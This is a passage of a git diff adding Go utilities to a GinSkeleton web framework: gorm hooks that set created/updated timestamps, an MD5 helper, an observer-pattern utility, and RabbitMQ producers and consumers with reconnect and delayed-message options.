reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + if b, column := structHasSpecialField("updated_at", gormDB.Statement.Dest); b { + destValueOf.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + } + } +} + +// UpdateBeforeHook +// InterceptUpdatePramsNotPtrError 拦截 save、update 函数参数如果是非指针类型的错误 +// 对于开发者来说,以结构体形式更新数,只需要在 update 、save 函数的参数前面添加 & 即可 +// 最终就可以完美兼支持、兼容 gorm 的所有回调函数 +// 但是如果是指定字段更新,例如: UpdateColumn 函数则只传递值即可,不需要做校验 +func UpdateBeforeHook(gormDB *gorm.DB) { + if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Struct { + //_ = gormDB.AddError(errors.New(my_errors.ErrorsGormDBUpdateParamsNotPtr)) + variable.ZapLog.Warn(my_errors.ErrorsGormDBUpdateParamsNotPtr) + } else if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Map { + // 如果是调用了 gorm.Update 、updates 函数 , 在参数没有传递指针的情况下,无法触发回调函数 + + } else if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Ptr && reflect.ValueOf(gormDB.Statement.Dest).Elem().Kind() == reflect.Struct { + // 参数校验无错误自动设置 UpdatedAt + if b, column := structHasSpecialField("UpdatedAt", gormDB.Statement.Dest); b { + gormDB.Statement.SetColumn(column, time.Now().Format(variable.DateFormat)) + } + } else if reflect.TypeOf(gormDB.Statement.Dest).Kind() == reflect.Ptr && reflect.ValueOf(gormDB.Statement.Dest).Elem().Kind() == reflect.Map { + if b, column := structHasSpecialField("updated_at", gormDB.Statement.Dest); b { + destValueOf := reflect.ValueOf(gormDB.Statement.Dest).Elem() + destValueOf.SetMapIndex(reflect.ValueOf(column), reflect.ValueOf(time.Now().Format(variable.DateFormat))) + } + } +} + +// structHasSpecialField 检查结构体是否有特定字段 +func structHasSpecialField(fieldName string, anyStructPtr interface{}) (bool, string) { + var tmp reflect.Type + if reflect.TypeOf(anyStructPtr).Kind() == reflect.Ptr && reflect.ValueOf(anyStructPtr).Elem().Kind() == reflect.Map { + destValueOf := reflect.ValueOf(anyStructPtr).Elem() + for _, item := range destValueOf.MapKeys() { + if item.String() == fieldName { + return true, fieldName + } + } + } else if reflect.TypeOf(anyStructPtr).Kind() == reflect.Ptr && reflect.ValueOf(anyStructPtr).Elem().Kind() == reflect.Struct { + destValueOf := reflect.ValueOf(anyStructPtr).Elem() + tf := destValueOf.Type() + for i := 0; i < tf.NumField(); i++ { + if !tf.Field(i).Anonymous && tf.Field(i).Type.Kind() != reflect.Struct { + if tf.Field(i).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tf.Field(i).Tag.Get("gorm")) + } + } else if tf.Field(i).Type.Kind() == reflect.Struct { + tmp = tf.Field(i).Type + for j := 0; j < tmp.NumField(); j++ { + if tmp.Field(j).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tmp.Field(j).Tag.Get("gorm")) + } + } + } + } + } else if reflect.Indirect(anyStructPtr.(reflect.Value)).Type().Kind() == reflect.Struct { + // 处理结构体 + destValueOf := anyStructPtr.(reflect.Value) + tf := destValueOf.Type() + for i := 0; i < tf.NumField(); i++ { + if !tf.Field(i).Anonymous && tf.Field(i).Type.Kind() != reflect.Struct { + if tf.Field(i).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tf.Field(i).Tag.Get("gorm")) + } + } else if tf.Field(i).Type.Kind() == reflect.Struct { + tmp = tf.Field(i).Type + for j := 0; j < tmp.NumField(); j++ { + if tmp.Field(j).Name == fieldName { + return true, getColumnNameFromGormTag(fieldName, tmp.Field(j).Tag.Get("gorm")) + } + } + } + } + } else if reflect.Indirect(anyStructPtr.(reflect.Value)).Type().Kind() == reflect.Map { + destValueOf := anyStructPtr.(reflect.Value) + for _, item := range destValueOf.MapKeys() { + if item.String() == fieldName { + return true, fieldName + } + } + } + return false, "" +} + +// getColumnNameFromGormTag 从 gorm 标签中获取字段名 +// @defaultColumn 如果没有 gorm:column 标签为字段重命名,则使用默认字段名 +// @TagValue 字段中含有的gorm:"column:created_at" 标签值,可能的格式:1. column:created_at 、2. default:null; column:created_at 、3. column:created_at; default:null +func getColumnNameFromGormTag(defaultColumn, TagValue string) (str string) { + pos1 := strings.Index(TagValue, "column:") + if pos1 == -1 { + str = defaultColumn + return + } else { + TagValue = TagValue[pos1+7:] + } + pos2 := strings.Index(TagValue, ";") + if pos2 == -1 { + str = TagValue + } else { + str = TagValue[:pos2] + } + return strings.ReplaceAll(str, " ", "") +} diff --git a/GinSkeleton/app/utils/md5_encrypt/md5_encrypt.go b/GinSkeleton/app/utils/md5_encrypt/md5_encrypt.go new file mode 100644 index 0000000..be678c6 --- /dev/null +++ b/GinSkeleton/app/utils/md5_encrypt/md5_encrypt.go @@ -0,0 +1,18 @@ +package md5_encrypt + +import ( + "crypto/md5" + "encoding/base64" + "encoding/hex" +) + +func MD5(params string) string { + md5Ctx := md5.New() + md5Ctx.Write([]byte(params)) + return hex.EncodeToString(md5Ctx.Sum(nil)) +} + +//先base64,然后MD5 +func Base64Md5(params string) string { + return MD5(base64.StdEncoding.EncodeToString([]byte(params))) +} diff --git a/GinSkeleton/app/utils/observer_mode/observer.go b/GinSkeleton/app/utils/observer_mode/observer.go new file mode 100644 index 0000000..5d35f5f --- /dev/null +++ b/GinSkeleton/app/utils/observer_mode/observer.go @@ -0,0 +1,7 @@ +package observer_mode + +// 观察者角色(Observer)接口 +type ObserverInterface interface { + // 接收状态更新消息 + Update(*Subject) +} diff --git a/GinSkeleton/app/utils/observer_mode/subject.go b/GinSkeleton/app/utils/observer_mode/subject.go new file mode 100644 index 0000000..18eba96 --- /dev/null +++ b/GinSkeleton/app/utils/observer_mode/subject.go @@ -0,0 +1,43 @@ +package observer_mode + +import "container/list" + +// 观察者管理中心(subject) +type Subject struct { + Observers *list.List + params interface{} +} + +//注册观察者角色 +func (s *Subject) Attach(observe ObserverInterface) { + s.Observers.PushBack(observe) +} + +//删除观察者角色 +func (s *Subject) Detach(observer ObserverInterface) { + for ob := s.Observers.Front(); ob != nil; ob = ob.Next() { + if ob.Value.(*ObserverInterface) == &observer { + s.Observers.Remove(ob) + break + } + } +} + +//通知所有观察者 +func (s *Subject) Notify() { + var l_temp *list.List = list.New() + for ob := s.Observers.Front(); ob != nil; ob = ob.Next() { + l_temp.PushBack(ob.Value) + ob.Value.(ObserverInterface).Update(s) + } + s.Observers = l_temp +} + +func (s *Subject) BroadCast(args ...interface{}) { + s.params = args + s.Notify() +} + +func (s *Subject) GetParams() interface{} { + return s.params +} diff --git a/GinSkeleton/app/utils/rabbitmq/error_record/error_handler.go b/GinSkeleton/app/utils/rabbitmq/error_record/error_handler.go new file mode 100644 index 0000000..46b4163 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/error_record/error_handler.go @@ -0,0 +1,11 @@ +package error_record + +import "goskeleton/app/global/variable" + +// ErrorDeal 记录错误 +func ErrorDeal(err error) error { + if err != nil { + variable.ZapLog.Error(err.Error()) + } + return err +} diff --git a/GinSkeleton/app/utils/rabbitmq/hello_world/consumer.go b/GinSkeleton/app/utils/rabbitmq/hello_world/consumer.go new file mode 100644 index 0000000..8f05063 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/hello_world/consumer.go @@ -0,0 +1,161 @@ +package hello_world + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer() (*consumer, error) { + // 获取配置信息 + + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.HelloWorld.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.HelloWorld.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.HelloWorld.Durable") + chanNumber := variable.ConfigYml.GetInt("RabbitMq.HelloWorld.ConsumerChanNumber") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.HelloWorld.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.HelloWorld.RetryCount") + + if err != nil { + //log.Println(err.Error()) + return nil, err + } + cons := &consumer{ + connect: conn, + queueName: queueName, + durable: durable, + chanNumber: chanNumber, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + return cons, nil +} + +// 定义一个消息队列结构体:helloworld 模型 +type consumer struct { + connect *amqp.Connection + queueName string + durable bool + chanNumber int + occurError error + connErr chan *amqp.Error + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(callbackFunDealSmg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.callbackForReceived = callbackFunDealSmg + + for i := 1; i <= c.chanNumber; i++ { + go func(chanNo int) { + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + msgs, err := ch.Consume( + queue.Name, + "", // 消费者标记,请确保在一个消息通道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealSmg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(i) + } + + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } +} + +// OnConnectionError 消费者端,掉线重连监听器 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/hello_world/producer.go b/GinSkeleton/app/utils/rabbitmq/hello_world/producer.go new file mode 100644 index 0000000..c005d4e --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/hello_world/producer.go @@ -0,0 +1,87 @@ +package hello_world + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer() (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.HelloWorld.Addr")) + queueName := variable.ConfigYml.GetString("RabbitMq.HelloWorld.QueueName") + dura := variable.ConfigYml.GetBool("RabbitMq.HelloWorld.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + queueName: queueName, + durable: dura, + } + return prod, nil +} + +// 定义一个消息队列结构体:helloworld 模型 +type producer struct { + connect *amqp.Connection + queueName string + durable bool + occurError error +} + +func (p *producer) Send(data string) bool { + + // 获取一个通道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + + defer func() { + _ = ch.Close() + }() + + // 声明消息队列 + _, err = ch.QueueDeclare( + p.queueName, // 队列名称 + p.durable, //是否持久化,false模式数据全部处于内存,true会保存在erlang自带数据库,但是影响速度 + !p.durable, //生产者、消费者全部断开时是否删除队列。一般来说,数据需要持久化,就不删除;非持久化,就删除 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, // 相关参数 + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + "", // helloworld 、workqueue 模式设置为空字符串,表示使用默认交换机 + p.queueName, // routing key,注意:简单模式与队列名称相同 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + }) + } + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/publish_subscribe/consumer.go b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/consumer.go new file mode 100644 index 0000000..ac82e1d --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/consumer.go @@ -0,0 +1,193 @@ +package publish_subscribe + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer(options ...OptionsConsumer) (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.PublishSubscribe.Durable") + chanNumber := variable.ConfigYml.GetInt("RabbitMq.PublishSubscribe.ConsumerChanNumber") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.PublishSubscribe.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.PublishSubscribe.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + chanNumber: chanNumber, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + // rabbitmq 如果启动了延迟消息队列模式。继续初始化一些参数 + for _, val := range options { + val.apply(cons) + } + return cons, nil +} + +// 定义一个消息队列结构体:PublishSubscribe 模型 +type consumer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + chanNumber int + occurError error + connErr chan *amqp.Error + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.callbackForReceived = callbackFunDealMsg + + for i := 1; i <= c.chanNumber; i++ { + go func(chanNo int) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明exchange交换机 + err = ch.ExchangeDeclare( + c.exchangeName, //exchange name + c.exchangeType, //exchange kind + c.durable, //数据是否持久化 + !c.durable, //所有连接断开时,交换机是否删除 + false, + false, + nil, + ) + // 声明队列 + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + //队列绑定 + err = ch.QueueBind( + queue.Name, + "", //routing key, fanout 模式设置为 空 即可 + c.exchangeName, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + msgs, err := ch.Consume( + queue.Name, // 队列名称 + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(i) + } + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/publish_subscribe/options.go b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/options.go new file mode 100644 index 0000000..b16f83e --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/options.go @@ -0,0 +1,62 @@ +package publish_subscribe + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" +) + +// 等 go 泛型稳定以后,生产者和消费者初始化参数的设置,本段代码就可以继续精简 +// 目前 apply(*producer) 的参数只能固定为生产者或者消费者其中之一的具体类型 + +// 1.生产者初始化参数定义 + +// OptionsProd 定义动态设置参数接口 +type OptionsProd interface { + apply(*producer) +} + +// OptionFunc 以函数形式实现上面的接口 +type OptionFunc func(*producer) + +func (f OptionFunc) apply(prod *producer) { + f(prod) +} + +// SetProdMsgDelayParams 开发者设置生产者初始化时的参数 +func SetProdMsgDelayParams(enableMsgDelayPlugin bool) OptionsProd { + return OptionFunc(func(p *producer) { + p.enableDelayMsgPlugin = enableMsgDelayPlugin + p.exchangeType = "x-delayed-message" + p.args = amqp.Table{ + "x-delayed-type": "fanout", + } + p.exchangeName = variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + p.durable = true + }) +} + +// 2.消费者端初始化参数定义 + +// OptionsConsumer 定义动态设置参数接口 +type OptionsConsumer interface { + apply(*consumer) +} + +// OptionsConsumerFunc 以函数形式实现上面的接口 +type OptionsConsumerFunc func(*consumer) + +func (f OptionsConsumerFunc) apply(cons *consumer) { + f(cons) +} + +// SetConsMsgDelayParams 开发者设置消费者端初始化时的参数 +func SetConsMsgDelayParams(enableDelayMsgPlugin bool) OptionsConsumer { + return OptionsConsumerFunc(func(c *consumer) { + c.enableDelayMsgPlugin = enableDelayMsgPlugin + c.exchangeType = "x-delayed-message" + c.exchangeName = variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + c.durable = true + }) +} diff --git a/GinSkeleton/app/utils/rabbitmq/publish_subscribe/producer.go b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/producer.go new file mode 100644 index 0000000..0b0e176 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/publish_subscribe/producer.go @@ -0,0 +1,108 @@ +package publish_subscribe + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" +) + +// CreateProducer 创建一个生产者 +func CreateProducer(options ...OptionsProd) (*producer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.PublishSubscribe.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.PublishSubscribe.Durable") + + if err != nil { + variable.ZapLog.Error(err.Error()) + return nil, err + } + + prod := &producer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + args: nil, + } + // 加载用户设置的参数 + for _, val := range options { + val.apply(prod) + } + return prod, nil +} + +// 定义一个消息队列结构体:PublishSubscribe 模型 +type producer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + enableDelayMsgPlugin bool + args amqp.Table +} + +// Send 发送消息 +// 参数: +// data 发送的数据、 +// delayMillisecond 延迟时间(毫秒),只有启用了消息延迟插件才有效果 +func (p *producer) Send(data string, delayMillisecond int) bool { + + // 获取一个频道 + ch, err := p.connect.Channel() + p.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明交换机,该模式生产者只负责将消息投递到交换机即可 + err = ch.ExchangeDeclare( + p.exchangeName, //交换器名称 + p.exchangeType, //fanout 模式(扇形模式,发布/订阅 模式) ,解决 发布、订阅场景相关的问题 + p.durable, //durable + !p.durable, //autodelete + false, + false, + p.args, + ) + p.occurError = error_record.ErrorDeal(err) + + // 如果队列的声明是持久化的,那么消息也设置为持久化 + msgPersistent := amqp.Transient + if p.durable { + msgPersistent = amqp.Persistent + } + // 投递消息 + if err == nil { + err = ch.Publish( + p.exchangeName, // 交换机名称 + p.queueName, // fanout 模式默认为空,表示所有订阅的消费者会接受到相同的消息 + false, + false, + amqp.Publishing{ + DeliveryMode: msgPersistent, //消息是否持久化,这里与保持保持一致即可 + ContentType: "text/plain", + Body: []byte(data), + Headers: amqp.Table{ + "x-delay": delayMillisecond, // 延迟时间: 毫秒 + }, + }) + } + + p.occurError = error_record.ErrorDeal(err) + if p.occurError != nil { // 发生错误,返回 false + return false + } else { + return true + } +} + +// Close 发送完毕手动关闭,这样不影响send多次发送数据 +func (p *producer) Close() { + _ = p.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/routing/consumer.go b/GinSkeleton/app/utils/rabbitmq/routing/consumer.go new file mode 100644 index 0000000..50fb677 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/routing/consumer.go @@ -0,0 +1,191 @@ +package routing + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" + "goskeleton/app/utils/rabbitmq/error_record" + "time" +) + +func CreateConsumer(options ...OptionsConsumer) (*consumer, error) { + // 获取配置信息 + conn, err := amqp.Dial(variable.ConfigYml.GetString("RabbitMq.Routing.Addr")) + exchangeType := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeType") + exchangeName := variable.ConfigYml.GetString("RabbitMq.Routing.ExchangeName") + queueName := variable.ConfigYml.GetString("RabbitMq.Routing.QueueName") + durable := variable.ConfigYml.GetBool("RabbitMq.Routing.Durable") + reconnectInterval := variable.ConfigYml.GetDuration("RabbitMq.Routing.OffLineReconnectIntervalSec") + retryTimes := variable.ConfigYml.GetInt("RabbitMq.Routing.RetryCount") + + if err != nil { + return nil, err + } + + cons := &consumer{ + connect: conn, + exchangeType: exchangeType, + exchangeName: exchangeName, + queueName: queueName, + durable: durable, + connErr: conn.NotifyClose(make(chan *amqp.Error, 1)), + offLineReconnectIntervalSec: reconnectInterval, + retryTimes: retryTimes, + receivedMsgBlocking: make(chan struct{}), + status: 1, + } + // rabbitmq 如果启动了延迟消息队列模式。继续初始化一些参数 + for _, val := range options { + val.apply(cons) + } + return cons, nil +} + +// 定义一个消息队列结构体:Routing 模型 +type consumer struct { + connect *amqp.Connection + exchangeType string + exchangeName string + queueName string + durable bool + occurError error + connErr chan *amqp.Error + routeKey string // 断线重连,结构体内部使用 + callbackForReceived func(receivedData string) // 断线重连,结构体内部使用 + offLineReconnectIntervalSec time.Duration + retryTimes int + callbackOffLine func(err *amqp.Error) // 断线重连,结构体内部使用 + enableDelayMsgPlugin bool // 是否使用延迟队列模式 + receivedMsgBlocking chan struct{} // 接受消息时用于阻塞消息处理函数 + status byte // 客户端状态:1=正常;0=异常 +} + +// Received 接收、处理消息 +func (c *consumer) Received(routeKey string, callbackFunDealMsg func(receivedData string)) { + defer func() { + c.close() + }() + // 将回调函数地址赋值给结构体变量,用于掉线重连使用 + c.routeKey = routeKey + c.callbackForReceived = callbackFunDealMsg + + go func(key string) { + + ch, err := c.connect.Channel() + c.occurError = error_record.ErrorDeal(err) + defer func() { + _ = ch.Close() + }() + + // 声明exchange交换机 + err = ch.ExchangeDeclare( + c.exchangeName, //exchange name + c.exchangeType, //exchange kind + c.durable, //数据是否持久化 + !c.durable, //所有连接断开时,交换机是否删除 + false, + false, + nil, + ) + // 声明队列 + queue, err := ch.QueueDeclare( + c.queueName, + c.durable, + true, + false, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + + //队列绑定 + err = ch.QueueBind( + queue.Name, + key, // routing 模式,生产者会将消息投递至交换机的route_key, 消费者匹配不同的key获取消息、处理 + c.exchangeName, + false, + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err != nil { + return + } + + msgs, err := ch.Consume( + queue.Name, // 队列名称 + "", // 消费者标记,请确保在一个消息频道唯一 + true, //是否自动确认,这里设置为 true,自动确认 + false, //是否私有队列,false标识允许多个 consumer 向该队列投递消息,true 表示独占 + false, //RabbitMQ不支持noLocal标志。 + false, // 队列如果已经在服务器声明,设置为 true ,否则设置为 false; + nil, + ) + c.occurError = error_record.ErrorDeal(err) + if err == nil { + for { + select { + case msg := <-msgs: + // 消息处理 + if c.status == 1 && len(msg.Body) > 0 { + callbackFunDealMsg(string(msg.Body)) + } else if c.status == 0 { + return + } + } + } + } else { + return + } + }(routeKey) + + if _, isOk := <-c.receivedMsgBlocking; isOk { + c.status = 0 + close(c.receivedMsgBlocking) + } + +} + +// OnConnectionError 消费者端,掉线重连失败后的错误回调 +func (c *consumer) OnConnectionError(callbackOfflineErr func(err *amqp.Error)) { + c.callbackOffLine = callbackOfflineErr + go func() { + select { + case err := <-c.connErr: + var i = 1 + for i = 1; i <= c.retryTimes; i++ { + // 自动重连机制 + time.Sleep(c.offLineReconnectIntervalSec * time.Second) + // 发生连接错误时,中断原来的消息监听(包括关闭连接) + if c.status == 1 { + c.receivedMsgBlocking <- struct{}{} + } + conn, err := CreateConsumer() + if err != nil { + continue + } else { + go func() { + c.connErr = conn.connect.NotifyClose(make(chan *amqp.Error, 1)) + go conn.OnConnectionError(c.callbackOffLine) + conn.Received(c.routeKey, c.callbackForReceived) + }() + // 新的客户端重连成功后,释放旧的回调函数 - OnConnectionError + if c.status == 0 { + return + } + break + } + } + if i > c.retryTimes { + callbackOfflineErr(err) + // 如果超过最大重连次数,同样需要释放回调函数 - OnConnectionError + if c.status == 0 { + return + } + } + } + }() +} + +// close 关闭连接 +func (c *consumer) close() { + _ = c.connect.Close() +} diff --git a/GinSkeleton/app/utils/rabbitmq/routing/options.go b/GinSkeleton/app/utils/rabbitmq/routing/options.go new file mode 100644 index 0000000..5354c57 --- /dev/null +++ b/GinSkeleton/app/utils/rabbitmq/routing/options.go @@ -0,0 +1,62 @@ +package routing + +import ( + amqp "github.com/rabbitmq/amqp091-go" + "goskeleton/app/global/variable" +) + +// 等 go 泛型稳定以后,生产者和消费者初始化参数的设置,本段代码就可以继续精简 +// 目前 apply(*producer) 的参数只能固定为生产者或者消费者其中之一的具体类型 + +// 1.生产者初始化参数定义 + +// OptionsProd 定义动态设置参数接口 +type OptionsProd interface { + apply(*producer) +} + +// OptionFunc 以函数形式实现上面的接口 +type OptionFunc func(*producer) + +func (f OptionFunc) apply(prod *producer) { + f(prod) +} + +// SetProdMsgDelayParams 开发者设置生产者初始化时的参数 +func SetProdMsgDelayParams(enableMsgDelayPlugin bool) OptionsProd { + return OptionFunc(func(p *producer) { + p.enableDelayMsgPlugin = enableMsgDelayPlugin + p.exchangeType = "x-delayed-message" + p.args = amqp.Table{ + "x-delayed-type": "direct", + } + p.exchangeName = variable.ConfigYml.GetString("RabbitMq.Routing.DelayedExchangeName") + // 延迟消息队列,交换机、消息全部设置为持久 + 